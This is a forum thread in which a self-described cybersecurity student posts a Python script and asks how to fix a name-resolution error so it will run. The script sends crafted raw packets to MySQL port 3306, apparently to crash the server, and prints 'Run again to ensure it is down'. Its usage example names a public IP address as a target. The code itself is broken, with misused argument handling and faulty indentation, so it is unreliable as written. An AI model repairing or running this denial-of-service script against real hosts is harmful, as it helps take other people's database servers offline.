Python Forum
socket.gaierror: [Errno -2] Name or service not known
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
socket.gaierror: [Errno -2] Name or service not known
#1
Hello, I am new to this forum.
I'm a cybersec Student and i found some code from the internet i try to modify it and try to execute it but it end up giving "socket.gaierror: [Errno -2] Name or service not known"

Here is the CODE :

import socket, sys

buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00")

buf2=("\x11\x00\x00\x00\x03set autocommit30")

def usage():print("usage : ./mysql.py 45.64.169.25")
print("example: ./mysql.py 192.168.1.22")

def main():
	if len(sys.argv) != 2: usage()
	sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

HOST = sys.argv[0] 
PORT = int(3306) 
s.connect((HOST,PORT)) 
print("[*] Connect")
s.send(buf)
print("[*] Payload 1 sent")
s.send(buf2) 
print("[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n")
s.close() 

if __name__ == "__main__":main()
how can i fix the error and let the code execute and run normally??
i have spent hours sitting in front of my laptop to try to figure this out but end up nothing.
Reply


Messages In This Thread
socket.gaierror: [Errno -2] Name or service not known - by seokangwoo99 - May-23-2019, 07:53 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  socket.gaierror: [Errno 11001] Johnygo 4 10,789 Nov-03-2019, 08:52 PM
Last Post: nemat
  socket.gaierror: [Errno -2] Name or Service not known ItsAGuyaneseTing 1 11,664 Mar-02-2018, 07:14 PM
Last Post: mpd

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020